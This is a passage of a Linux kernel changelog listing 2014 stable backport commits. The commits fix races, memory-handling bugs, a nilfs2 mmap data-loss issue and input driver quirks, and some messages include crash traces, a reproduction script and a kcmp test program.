Kroah-Hartman Signed-off-by: Pranav Vashi commit 7070502c645e1c673b560fa88b10cb85289ad319 Author: Cong Wang Date: Tue Sep 2 15:27:20 2014 -0700 perf: Fix a race condition in perf_remove_from_context() commit 3577af70a2ce4853d58e57d832e687d739281479 upstream. We saw a kernel soft lockup in perf_remove_from_context(), it looks like the `perf` process, when exiting, could not go out of the retry loop. Meanwhile, the target process was forking a child. So either the target process should execute the smp function call to deactive the event (if it was running) or it should do a context switch which deactives the event. It seems we optimize out a context switch in perf_event_context_sched_out(), and what's more important, we still test an obsolete task pointer when retrying, so no one actually would deactive that event in this situation. Fix it directly by reloading the task pointer in perf_remove_from_context(). This should cure the above soft lockup. Signed-off-by: Cong Wang Signed-off-by: Cong Wang Signed-off-by: Peter Zijlstra Cc: Paul Mackerras Cc: Arnaldo Carvalho de Melo Cc: Linus Torvalds Link: http://lkml.kernel.org/r/1409696840-843-1-git-send-email-xiyou.wangcong@gmail.com Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 662cddc7861757f8d50ba56123350da9b7331247 Author: Richard Larocque Date: Tue Sep 9 18:31:05 2014 -0700 alarmtimer: Lock k_itimer during timer callback commit 474e941bed9262f5fa2394f9a4a67e24499e5926 upstream. Locks the k_itimer's it_lock member when handling the alarm timer's expiry callback. The regular posix timers defined in posix-timers.c have this lock held during timout processing because their callbacks are routed through posix_timer_fn(). The alarm timers follow a different path, so they ought to grab the lock somewhere else. Cc: Thomas Gleixner Cc: Ingo Molnar Cc: Richard Cochran Cc: Prarit Bhargava Cc: Sharvil Nanavati Signed-off-by: Richard Larocque Signed-off-by: John Stultz Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c1905d5f6bed2094d2aea59caa82024549b0fe2e Author: Richard Larocque Date: Tue Sep 9 18:31:04 2014 -0700 alarmtimer: Do not signal SIGEV_NONE timers commit 265b81d23a46c39df0a735a3af4238954b41a4c2 upstream. Avoids sending a signal to alarm timers created with sigev_notify set to SIGEV_NONE by checking for that special case in the timeout callback. The regular posix timers avoid sending signals to SIGEV_NONE timers by not scheduling any callbacks for them in the first place. Although it would be possible to do something similar for alarm timers, it's simpler to handle this as a special case in the timeout. Prior to this patch, the alarm timer would ignore the sigev_notify value and try to deliver signals to the process anyway. Even worse, the sanity check for the value of sigev_signo is skipped when SIGEV_NONE was specified, so the signal number could be bogus. If sigev_signo was an unitialized value (as it often would be if SIGEV_NONE is used), then it's hard to predict which signal will be sent. Cc: Thomas Gleixner Cc: Ingo Molnar Cc: Richard Cochran Cc: Prarit Bhargava Cc: Sharvil Nanavati Signed-off-by: Richard Larocque Signed-off-by: John Stultz Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 30ff39d7510b9e4b35c3d698d4aaa86d4432ff39 Author: John David Anglin Date: Mon Sep 22 20:54:50 2014 -0400 parisc: Only use -mfast-indirect-calls option for 32-bit kernel builds commit d26a7730b5874a5fa6779c62f4ad7c5065a94723 upstream. In spite of what the GCC manual says, the -mfast-indirect-calls has never been supported in the 64-bit parisc compiler. Indirect calls have always been done using function descriptors irrespective of the -mfast-indirect-calls option. Recently, it was noticed that a function descriptor was always requested when the -mfast-indirect-calls option was specified. This caused problems when the option was used in application code and doesn't make any sense because the whole point of the option is to avoid using a function descriptor for indirect calls. Fixing this broke 64-bit kernel builds. I will fix GCC but for now we need the attached change. This results in the same kernel code as before. Signed-off-by: John David Anglin Signed-off-by: Helge Deller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ac0c86bf35c9b324879ec71354c64a15376064f5 Author: Anton Blanchard Date: Tue Aug 26 12:44:15 2014 +1000 powerpc/perf: Fix ABIv2 kernel backtraces commit 85101af13bb854a6572fa540df7c7201958624b9 upstream. ABIv2 kernels are failing to backtrace through the kernel. An example: 39.30% readseek2_proce [kernel.kallsyms] [k] find_get_entry | --- find_get_entry __GI___libc_read The problem is in valid_next_sp() where we check that the new stack pointer is at least STACK_FRAME_OVERHEAD below the previous one. ABIv1 has a minimum stack frame size of 112 bytes consisting of 48 bytes and 64 bytes of parameter save area. ABIv2 changes that to 32 bytes with no paramter save area. STACK_FRAME_OVERHEAD is in theory the minimum stack frame size, but we over 240 uses of it, some of which assume that it includes space for the parameter area. We need to work through all our stack defines and rationalise them but let's fix perf now by creating STACK_FRAME_MIN_SIZE and using in valid_next_sp(). This fixes the issue: 30.64% readseek2_proce [kernel.kallsyms] [k] find_get_entry | --- find_get_entry pagecache_get_page generic_file_read_iter new_sync_read vfs_read sys_read syscall_exit __GI___libc_read Reported-by: Aneesh Kumar K.V Signed-off-by: Anton Blanchard Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ef0270b4da7905f9fa414ae2f12e2bae33f1c1f6 Author: Wanpeng Li Date: Wed Sep 24 16:38:05 2014 +0800 sched: Fix unreleased llc_shared_mask bit during CPU hotplug commit 03bd4e1f7265548832a76e7919a81f3137c44fd1 upstream. The following bug can be triggered by hot adding and removing a large number of xen domain0's vcpus repeatedly: BUG: unable to handle kernel NULL pointer dereference at 0000000000000004 IP: [..] find_busiest_group PGD 5a9d5067 PUD 13067 PMD 0 Oops: 0000 [#3] SMP [...] Call Trace: load_balance ? _raw_spin_unlock_irqrestore idle_balance __schedule schedule schedule_timeout ? lock_timer_base schedule_timeout_uninterruptible msleep lock_device_hotplug_sysfs online_store dev_attr_store sysfs_write_file vfs_write SyS_write system_call_fastpath Last level cache shared mask is built during CPU up and the build_sched_domain() routine takes advantage of it to setup the sched domain CPU topology. However, llc_shared_mask is not released during CPU disable, which leads to an invalid sched domainCPU topology. This patch fix it by releasing the llc_shared_mask correctly during CPU disable. Yasuaki also reported that this can happen on real hardware: https://lkml.org/lkml/2014/7/22/1018 His case is here: == Here is an example on my system. My system has 4 sockets and each socket has 15 cores and HT is enabled. In this case, each core of sockes is numbered as follows: | CPU# Socket#0 | 0-14 , 60-74 Socket#1 | 15-29, 75-89 Socket#2 | 30-44, 90-104 Socket#3 | 45-59, 105-119 Then llc_shared_mask of CPU#30 has 0x3fff80000001fffc0000000. It means that last level cache of Socket#2 is shared with CPU#30-44 and 90-104. When hot-removing socket#2 and #3, each core of sockets is numbered as follows: | CPU# Socket#0 | 0-14 , 60-74 Socket#1 | 15-29, 75-89 But llc_shared_mask is not cleared. So llc_shared_mask of CPU#30 remains having 0x3fff80000001fffc0000000. After that, when hot-adding socket#2 and #3, each core of sockets is numbered as follows: | CPU# Socket#0 | 0-14 , 60-74 Socket#1 | 15-29, 75-89 Socket#2 | 30-59 Socket#3 | 90-119 Then llc_shared_mask of CPU#30 becomes 0x3fff8000fffffffc0000000. It means that last level cache of Socket#2 is shared with CPU#30-59 and 90-104. So the mask has the wrong value. Signed-off-by: Wanpeng Li Tested-by: Linn Crosetto Reviewed-by: Borislav Petkov Reviewed-by: Toshi Kani Reviewed-by: Yasuaki Ishimatsu Cc: David Rientjes Cc: Prarit Bhargava Cc: Steven Rostedt Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/1411547885-48165-1-git-send-email-wanpeng.li@linux.intel.com Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 168d7623b12c1e1ad81016d4158c98a1a826c2c5 Author: Joseph Qi Date: Thu Sep 25 16:05:16 2014 -0700 ocfs2/dlm: do not get resource spinlock if lockres is new commit 5760a97c7143c208fa3a8f8cad0ed7dd672ebd28 upstream. There is a deadlock case which reported by Guozhonghua: https://oss.oracle.com/pipermail/ocfs2-devel/2014-September/010079.html This case is caused by &res->spinlock and &dlm->master_lock misordering in different threads. It was introduced by commit 8d400b81cc83 ("ocfs2/dlm: Clean up refmap helpers"). Since lockres is new, it doesn't not require the &res->spinlock. So remove it. Fixes: 8d400b81cc83 ("ocfs2/dlm: Clean up refmap helpers") Signed-off-by: Joseph Qi Reviewed-by: joyce.xue Reported-by: Guozhonghua Cc: Joel Becker Cc: Mark Fasheh Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5e609539b31008140c4542a9fe050a3d4045c637 Author: Andreas Rohner Date: Thu Sep 25 16:05:14 2014 -0700 nilfs2: fix data loss with mmap() commit 56d7acc792c0d98f38f22058671ee715ff197023 upstream. This bug leads to reproducible silent data loss, despite the use of msync(), sync() and a clean unmount of the file system. It is easily reproducible with the following script: ----------------[BEGIN SCRIPT]-------------------- mkfs.nilfs2 -f /dev/sdb mount /dev/sdb /mnt dd if=/dev/zero bs=1M count=30 of=/mnt/testfile umount /mnt mount /dev/sdb /mnt CHECKSUM_BEFORE="$(md5sum /mnt/testfile)" /root/mmaptest/mmaptest /mnt/testfile 30 10 5 sync CHECKSUM_AFTER="$(md5sum /mnt/testfile)" umount /mnt mount /dev/sdb /mnt CHECKSUM_AFTER_REMOUNT="$(md5sum /mnt/testfile)" umount /mnt echo "BEFORE MMAP:\t$CHECKSUM_BEFORE" echo "AFTER MMAP:\t$CHECKSUM_AFTER" echo "AFTER REMOUNT:\t$CHECKSUM_AFTER_REMOUNT" ----------------[END SCRIPT]-------------------- The mmaptest tool looks something like this (very simplified, with error checking removed): ----------------[BEGIN mmaptest]-------------------- data = mmap(NULL, file_size - file_offset, PROT_READ | PROT_WRITE, MAP_SHARED, fd, file_offset); for (i = 0; i < write_count; ++i) { memcpy(data + i * 4096, buf, sizeof(buf)); msync(data, file_size - file_offset, MS_SYNC)) } ----------------[END mmaptest]-------------------- The output of the script looks something like this: BEFORE MMAP: 281ed1d5ae50e8419f9b978aab16de83 /mnt/testfile AFTER MMAP: 6604a1c31f10780331a6850371b3a313 /mnt/testfile AFTER REMOUNT: 281ed1d5ae50e8419f9b978aab16de83 /mnt/testfile So it is clear, that the changes done using mmap() do not survive a remount. This can be reproduced a 100% of the time. The problem was introduced in commit 136e8770cd5d ("nilfs2: fix issue of nilfs_set_page_dirty() for page at EOF boundary"). If the page was read with mpage_readpage() or mpage_readpages() for example, then it has no buffers attached to it. In that case page_has_buffers(page) in nilfs_set_page_dirty() will be false. Therefore nilfs_set_file_dirty() is never called and the pages are never collected and never written to disk. This patch fixes the problem by also calling nilfs_set_file_dirty() if the page has no buffers attached to it. [akpm@linux-foundation.org: s/PAGE_SHIFT/PAGE_CACHE_SHIFT/] Signed-off-by: Andreas Rohner Tested-by: Andreas Rohner Signed-off-by: Ryusuke Konishi Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 58d879b0c5bd45d7b0a2c447d2ab0cb7bb6aea70 Author: Andrey Vagin Date: Tue Sep 9 14:51:06 2014 -0700 fs/notify: don't show f_handle if exportfs_encode_inode_fh failed commit 7e8824816bda16bb11ff5ff1e1212d642e57b0b3 upstream. Currently we handle only ENOSPC. In case of other errors the file_handle variable isn't filled properly and we will show a part of stack. Signed-off-by: Andrey Vagin Acked-by: Cyrill Gorcunov Cc: Alexander Viro Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f68fe82516f07bcb2c97db52a6e19ebec82b19d9 Author: Andrey Vagin Date: Tue Sep 9 14:51:04 2014 -0700 fsnotify/fdinfo: use named constants instead of hardcoded values commit 1fc98d11cac6dd66342e5580cb2687e5b1e9a613 upstream. MAX_HANDLE_SZ is equal to 128, but currently the size of pad is only 64 bytes, so exportfs_encode_inode_fh can return an error. Signed-off-by: Andrey Vagin Acked-by: Cyrill Gorcunov Cc: Alexander Viro Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 159a785cd95958ba726fa6d6c66b4f82cad3e529 Author: Rasmus Villemoes Date: Tue Sep 9 14:51:01 2014 -0700 kcmp: fix standard comparison bug commit acbbe6fbb240a927ee1f5994f04d31267d422215 upstream. The C operator <= defines a perfectly fine total ordering on the set of values representable in a long. However, unlike its namesake in the integers, it is not translation invariant, meaning that we do not have "b <= c" iff "a+b <= a+c" for all a,b,c. This means that it is always wrong to try to boil down the relationship between two longs to a question about the sign of their difference, because the resulting relation [a LEQ b iff a-b <= 0] is neither anti-symmetric or transitive. The former is due to -LONG_MIN==LONG_MIN (take any two a,b with a-b = LONG_MIN; then a LEQ b and b LEQ a, but a != b). The latter can either be seen observing that x LEQ x+1 for all x, implying x LEQ x+1 LEQ x+2 ... LEQ x-1 LEQ x; or more directly with the simple example a=LONG_MIN, b=0, c=1, for which a-b < 0, b-c < 0, but a-c > 0. Note that it makes absolutely no difference that a transmogrying bijection has been applied before the comparison is done. In fact, had the obfuscation not been done, one could probably not observe the bug (assuming all values being compared always lie in one half of the address space, the mathematical value of a-b is always representable in a long). As it stands, one can easily obtain three file descriptors exhibiting the non-transitivity of kcmp(). Side note 1: I can't see that ensuring the MSB of the multiplier is set serves any purpose other than obfuscating the obfuscating code. Side note 2: #include #include #include #include #include #include #include enum kcmp_type { KCMP_FILE, KCMP_VM, KCMP_FILES, KCMP_FS, KCMP_SIGHAND, KCMP_IO, KCMP_SYSVSEM, KCMP_TYPES, }; pid_t pid; int kcmp(pid_t pid1, pid_t pid2, int type, unsigned long idx1, unsigned long idx2) { return syscall(SYS_kcmp, pid1, pid2, type, idx1, idx2); } int cmp_fd(int fd1, int fd2) { int c = kcmp(pid, pid, KCMP_FILE, fd1, fd2); if (c < 0) { perror("kcmp"); exit(1); } assert(0 <= c && c < 3); return c; } int cmp_fdp(const void *a, const void *b) { static const int normalize[] = {0, -1, 1}; return normalize[cmp_fd(*(int*)a, *(int*)b)]; } #define MAX 100 /* This is plenty; I've seen it trigger for MAX==3 */ int main(int argc, char *argv[]) { int r, s, count = 0; int REL[3] = {0,0,0}; int fd[MAX]; pid = getpid(); while (count < MAX) { r = open("/dev/null", O_RDONLY); if (r < 0) break; fd[count++] = r; } printf("opened %d file descriptors\n", count); for (r = 0; r < count; ++r) { for (s = r+1; s < count; ++s) { REL[cmp_fd(fd[r], fd[s])]++; } } printf("== %d\t< %d\t> %d\n", REL[0], REL[1], REL[2]); qsort(fd, count, sizeof(fd[0]), cmp_fdp); memset(REL, 0, sizeof(REL)); for (r = 0; r < count; ++r) { for (s = r+1; s < count; ++s) { REL[cmp_fd(fd[r], fd[s])]++; } } printf("== %d\t< %d\t> %d\n", REL[0], REL[1], REL[2]); return (REL[0] + REL[2] != 0); } Signed-off-by: Rasmus Villemoes Reviewed-by: Cyrill Gorcunov "Eric W. Biederman" Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3324e8f03cd132cab1e01e53fcade26ad9b23672 Author: Johannes Berg Date: Mon Aug 25 12:08:09 2014 +0200 Revert "mac80211: disable uAPSD if all ACs are under ACM" commit bb512ad0732232f1d2693bb68f31a76bed8f22ae upstream. This reverts commit 24aa11ab8ae03292d38ec0dbd9bc2ac49fe8a6dd. That commit was wrong since it uses data that hasn't even been set up yet, but might be a hold-over from a previous connection. Additionally, it seems like a driver-specific workaround that shouldn't have been in mac80211 to start with. Fixes: 24aa11ab8ae0 ("mac80211: disable uAPSD if all ACs are under ACM") Reviewed-by: Luciano Coelho Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 78566d2578edcd3bdd3c528876c315d4cb34cc9d Author: Felipe Balbi Date: Wed Sep 3 16:13:37 2014 -0500 usb: dwc3: core: fix ordering for PHY suspend commit dc99f16f076559235c92d3eb66d03d1310faea08 upstream. We can't suspend the PHYs before dwc3_core_exit_mode() has been called, that's because the host and/or device sides might still need to communicate with the far end link partner. Fixes: 8ba007a (usb: dwc3: core: enable the USB2 and USB3 phy in probe) Suggested-by: Alan Stern Signed-off-by: Felipe Balbi Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 410c539b633231a7866ba012e296478f872cbf2d Author: Felipe Balbi Date: Tue Sep 2 14:57:20 2014 -0500 usb: dwc3: core: fix order of PM runtime calls commit fed33afce0eda44a46ae24d93aec1b5198c0bac4 upstream. Currently, we disable pm_runtime before all register accesses are done, this is dangerous and might lead to abort exceptions due to the driver trying to access a register which is clocked by a clock which was long gated. Fix that by moving pm_runtime_put_sync() and pm_runtime_disable() as the last thing we do before returning from our ->remove() method. Fixes: 72246da (usb: Introduce DesignWare USB3 DRD Driver) Signed-off-by: Felipe Balbi Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 78c33e9aa3d09f823b8bdd3a062630b744b146a5 Author: Felipe Balbi Date: Wed Aug 27 16:38:04 2014 -0500 usb: host: xhci: fix compliance mode workaround commit 96908589a8b2584b1185f834d365f5cc360e8226 upstream. Commit 71c731a (usb: host: xhci: Fix Compliance Mode on SN65LVP3502CP Hardware) implemented a workaround for a known issue with Texas Instruments' USB 3.0 redriver IC but it left a condition where any xHCI host would be taken out of reset if port was placed in compliance mode and there was no device connected to the port. That condition would trigger a fake connection to a non-existent device so that usbcore would trigger a warm reset of the port, thus taking the link out of reset. This has the side-effect of preventing any xHCI host connected to a Linux machine from starting and running the USB 3.0 Electrical Compliance Suite because the port will mysteriously taken out of compliance mode and, thus, xHCI won't step through the necessary compliance patterns for link validation. This patch fixes the issue by just adding a missing check for XHCI_COMP_MODE_QUIRK inside xhci_hub_report_usb3_link_state() when PORT_CAS isn't set. This patch should be backported to all kernels containing commit 71c731a. Fixes: 71c731a (usb: host: xhci: Fix Compliance Mode on SN65LVP3502CP Hardware) Cc: Alexis R. Cortes Cc: # v3.2+ Signed-off-by: Felipe Balbi Acked-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 470400211e43c2a2f933dce6576d4927c23c8141 Author: Jens Axboe Date: Tue Sep 16 13:38:51 2014 -0600 genhd: fix leftover might_sleep() in blk_free_devt() commit 46f341ffcfb5d8530f7d1e60f3be06cce6661b62 upstream. Commit 2da78092 changed the locking from a mutex to a spinlock, so we now longer sleep in this context. But there was a leftover might_sleep() in there, which now triggers since we do the final free from an RCU callback. Get rid of it. Reported-by: Pontus Fuchs Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2b151f71a5ba328297d66e1fdf0186d875c78d20 Author: J. Bruce Fields Date: Fri Aug 29 16:25:50 2014 -0400 lockd: fix rpcbind crash on lockd startup failure commit 7c17705e77b12b20fb8afb7c1b15dcdb126c0c12 upstream. Nikita Yuschenko reported that booting a kernel with init=/bin/sh and then nfs mounting without portmap or rpcbind running using a busybox mount resulted in: # mount -t nfs 10.30.130.21:/opt /mnt svc: failed to register lockdv1 RPC service (errno 111). lockd_up: makesock failed, error=-111 Unable to handle kernel paging request for data at address 0x00000030 Faulting instruction address: 0xc055e65c Oops: Kernel access of bad area, sig: 11 [#1] MPC85xx CDS Modules linked in: CPU: 0 PID: 1338 Comm: mount Not tainted 3.10.44.cge #117 task: cf29cea0 ti: cf35c000 task.ti: cf35c000 NIP: c055e65c LR: c0566490 CTR: c055e648 REGS: cf35dad0 TRAP: 0300 Not tainted (3.10.44.cge) MSR: 00029000 CR: 22442488 XER: 20000000 DEAR: 00000030, ESR: 00000000 GPR00: c05606f4 cf35db80 cf29cea0 cf0ded80 cf0dedb8 00000001 1dec3086 00000000 GPR08: 00000000 c07b1640 00000007 1dec3086 22442482 100b9758 00000000 10090ae8 GPR16: 00000000 000186a5 00000000 00000000 100c3018 bfa46edc 100b0000 bfa46ef0 GPR24: cf386ae0 c07834f0 00000000 c0565f88 00000001 cf0dedb8 00000000 cf0ded80 NIP [c055e65c] call_start+0x14/0x34 LR [c0566490] __rpc_execute+0x70/0x250 Call Trace: [cf35db80] [00000080] 0x80 (unreliable) [cf35dbb0] [c05606f4] rpc_run_task+0x9c/0xc4 [cf35dbc0] [c0560840] rpc_call_sync+0x50/0xb8 [cf35dbf0] [c056ee90] rpcb_register_call+0x54/0x84 [cf35dc10] [c056f24c] rpcb_register+0xf8/0x10c [cf35dc70] [c0569e18] svc_unregister.isra.23+0x100/0x108 [cf35dc90] [c0569e38] svc_rpcb_cleanup+0x18/0x30 [cf35dca0] [c0198c5c] lockd_up+0x1dc/0x2e0 [cf35dcd0] [c0195348] nlmclnt_init+0x2c/0xc8 [cf35dcf0] [c015bb5c] nfs_start_lockd+0x98/0xec [cf35dd20] [c015ce6c] nfs_create_server+0x1e8/0x3f4 [cf35dd90] [c0171590] nfs3_create_server+0x10/0x44 [cf35dda0] [c016528c] nfs_try_mount+0x158/0x1e4 [cf35de20] [c01670d0] nfs_fs_mount+0x434/0x8c8 [cf35de70] [c00cd3bc] mount_fs+0x20/0xbc [cf35de90] [c00e4f88] vfs_kern_mount+0x50/0x104 [cf35dec0] [c00e6e0c] do_mount+0x1d0/0x8e0 [cf35df10] [c00e75ac] SyS_mount+0x90/0xd0 [cf35df40] [c000ccf4] ret_from_syscall+0x0/0x3c The addition of svc_shutdown_net() resulted in two calls to svc_rpcb_cleanup(); the second is no longer necessary and crashes when it calls rpcb_register_call with clnt=NULL. Reported-by: Nikita Yushchenko Fixes: 679b033df484 "lockd: ensure we tear down any live sockets when socket creation fails during lockd_up" Acked-by: Jeff Layton Signed-off-by: J. Bruce Fields Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 068fb52057c86d552e0d81170e787c1139583460 Author: Larry Finger Date: Sun Aug 24 17:49:43 2014 -0500 rtlwifi: rtl8192cu: Add new ID commit c66517165610b911e4c6d268f28d8c640832dbd1 upstream. The Sitecom WLA-2102 adapter uses this driver. Reported-by: Nico Baggus Signed-off-by: Larry Finger Cc: Nico Baggus Signed-off-by: John W. Linville Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d0850ba4e324df8d878173a3e030f81b93d70692 Author: Tejun Heo Date: Fri Aug 15 16:06:10 2014 -0400 percpu: perform tlb flush after pcpu_map_pages() failure commit 849f5169097e1ba35b90ac9df76b5bb6f9c0aabd upstream. If pcpu_map_pages() fails midway, it unmaps the already mapped pages. Currently, it doesn't flush tlb after the partial unmapping. This may be okay in most cases as the established mapping hasn't been used at that point but it can go wrong and when it goes wrong it'd be extremely difficult to track down. Flush tlb after the partial unmapping. Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4a8ca53af84c58316753d0c16c3de730d26fbcca Author: Tejun Heo Date: Fri Aug 15 16:06:06 2014 -0400 percpu: fix pcpu_alloc_pages() failure path commit f0d279654dea22b7a6ad34b9334aee80cda62cde upstream. When pcpu_alloc_pages() fails midway, pcpu_free_pages() is invoked to free what has already been allocated. The invocation is across the whole requested range and pcpu_free_pages() will try to free all non-NULL pages; unfortunately, this is incorrect as pcpu_get_pages_and_bitmap(), unlike what its comment suggests, doesn't clear the pages array and thus the array may have entries from the previous invocations making the partial failure path free incorrect pages. Fix it by open-coding the partial freeing of the already allocated pages. Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 42904d1831e920dffe9d2ba3f161de4dd3632050 Author: Honggang Li Date: Tue Aug 12 21:36:15 2014 +0800 percpu: free percpu allocation info for uniprocessor system commit 3189eddbcafcc4d827f7f19facbeddec4424eba8 upstream. Currently, only SMP system free the percpu allocation info. Uniprocessor system should free it too. For example, one x86 UML virtual machine with 256MB memory, UML kernel wastes one page memory. Signed-off-by: Honggang Li Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e6588f56f95cb128140fad97d996a9382050afb0 Author: James Ralston Date: Wed Aug 27 14:31:58 2014 -0700 ata_piix: Add Device IDs for Intel 9 Series PCH commit 6cad1376954e591c3c41500c4e586e183e7ffe6d upstream. This patch adds the IDE mode SATA Device IDs for the Intel 9 Series PCH. Signed-off-by: James Ralston Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c78c685dfb9168e62c91575dabcf781ad18681fa Author: Hans de Goede Date: Thu Sep 11 10:10:26 2014 -0700 Input: i8042 - add nomux quirk for Avatar AVIU-145A6 commit d2682118f4bb3ceb835f91c1a694407a31bb7378 upstream. The sys_vendor / product_name are somewhat generic unfortunately, so this may lead to some false positives. But nomux usually does no harm, where as not having it clearly is causing problems on the Avatar AVIU-145A6. https://bugzilla.kernel.org/show_bug.cgi?id=77391 Reported-by: Hugo P Signed-off-by: Hans de Goede Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1b9757bfaa470e8dd475d83403cc12c4257b2011 Author: Hans de Goede Date: Wed Sep 10 13:53:37 2014 -0700 Input: i8042 - add Fujitsu U574 to no_timeout dmi table commit cc18a69c92d0972bc2fc5a047ee3be1e8398171b upstream. https://bugzilla.kernel.org/show_bug.cgi?id=69731 Reported-by: Jason Robinson Signed-off-by: Hans de Goede Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 13a1aab8024a95d35ed0b98838e5430aee0773ed Author: Dmitry Torokhov Date: Wed Sep 10 13:50:37 2014 -0700 Input: atkbd - do not try 'deactivate' keyboard on any LG laptops commit c01206796139e2b1feb7539bc72174fef1c6dc6e upstream. We are getting more and more reports about LG laptops not having functioning keyboard if we try to deactivate keyboard during probe. Given that having keyboard deactivated is merely "nice to have" instead of a hard requirement for probing, let's disable it on all LG boxes instead of trying to hunt down particular models. This change is prompted by patches trying to add "LG Electronics"/"ROCKY" and "LG Electronics"/"LW60-F27B" to the DMI list. https://bugzilla.kernel.org/show_bug.cgi?id=77051 Reported-by: Jaime Velasco Juan Reported-by: Georgios Tsalikis Tested-by: Jaime Velasco Juan Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c0f3ae15318e9662aa384d1e02bb615d098497c5 Author: Hans de Goede Date: Mon Sep 8 14:39:52 2014 -0700 Input: elantech - fix detection of touchpad on ASUS s301l commit 271329b3c798b2102120f5df829071c211ef00ed upstream. Adjust Elantech signature validation to account fo rnewer models of touchpads. Reported-and-tested-by: Màrius Monton Signed-off-by: Hans de Goede Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 951dc74dad57a6ffc767e295f85fbd0031d78d97 Author: Dmitry Torokhov Date: Sat Aug 30 13:51:06 2014 -0700 Input: synaptics - add support for ForcePads commit 5715fc764f7753d464dbe094b5ef9cffa6e479a4 upstream. ForcePads are found on HP EliteBook 1040 laptops. They lack any kind of physical buttons, instead they generate primary button click when user presses somewhat hard on the surface of the touchpad. Unfortunately they also report primary button click whenever there are 2 or more contacts on the pad, messing up all multi-finger gestures (2-finger scrolling, multi-finger tapping, etc). To cope with this behavior we introduce a delay (currently 50 msecs) in reporting primary press in case more contacts appear. Reviewed-by: Hans de Goede Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit aa3ab9a76b2e53ca3dde2703d6a1b0f0482661f2 Author: John Sung Date: Tue Sep 9 10:06:51 2014 -0700 Input: serport - add compat handling for SPIOCSTYPE ioctl commit a80d8b02751060a178bb1f7a6b7a93645a7a308b upstream. When running a 32-bit inputattach utility in a 64-bit system, there will be error code "inputattach: can't set device type". This is caused by the serport device driver not supporting compat_ioctl, so that SPIOCSTYPE ioctl fails. Signed-off-by: John Sung Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d8f4c1ba427a87e5b37d1c6eb4f3e976fdcec5d0 Author: Mikulas Patocka Date: Thu Aug 28 11:09:31 2014 -0400 dm crypt: fix access beyond the end of allocated space commit d49ec52ff6ddcda178fc2476a109cf1bd1fa19ed upstream. The DM crypt target accesses memory beyond allocated space resulting in a crash on 32 bit x86 systems. This bug is very old (it dates back to 2.6.25 commit 3a7f6c990ad04 "dm crypt: use async crypto"). However, this bug was masked by the fact that kmalloc rounds the size up to the next power of two. This bug wasn't exposed until 3.17-rc1 commit 298a9fa08a ("dm crypt: use per-bio data"). By switching to using per-bio data there was no longer any padding beyond the end of a dm-crypt allocated memory block. To minimize allocation overhead dm-crypt puts several structures into one block allocated with kmalloc. The block holds struct ablkcipher_request, cipher-specific scratch pad (crypto_ablkcipher_reqsize(any_tfm(cc))), struct dm_crypt_request and an initialization vector. The variable dmreq_start is set to offset of struct dm_crypt_request within this memory block. dm-crypt allocates the block with this size: cc->dmreq_start + sizeof(struct dm_crypt_request) + cc->iv_size. When accessing the initialization vector, dm-crypt uses the function iv_of_dmreq, which performs this calculation: ALIGN((unsigned long)(dmreq + 1), crypto_ablkcipher_alignmask(any_tfm(cc)) + 1). dm-crypt allocated "cc->iv_size" bytes beyond the end of dm_crypt_request structure. However, when dm-crypt accesses the initialization vector, it takes a pointer to the end of dm_crypt_request, aligns it, and then uses it as the initialization vector. If the end of dm_crypt_request is not aligned on a crypto_ablkcipher_alignmask(any_tfm(cc)) boundary the alignment causes the initialization vector to point beyond the allocated space. Fix this bug by calculating the variable iv_size_padding and adding it to the allocated size. Also correct the alignment of dm_crypt_request. struct dm_crypt_request is specific to dm-crypt (it isn't used by the crypto subsystem at all), so it is aligned on __alignof__(struct dm_crypt_request). Also align per_bio_data_size on ARCH_KMALLOC_MINALIGN, so that it is aligned as if the block was allocated with kmalloc. Reported-by: Krzysztof Kolasa Tested-by: Milan Broz Signed-off-by: Mikulas Patocka Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: 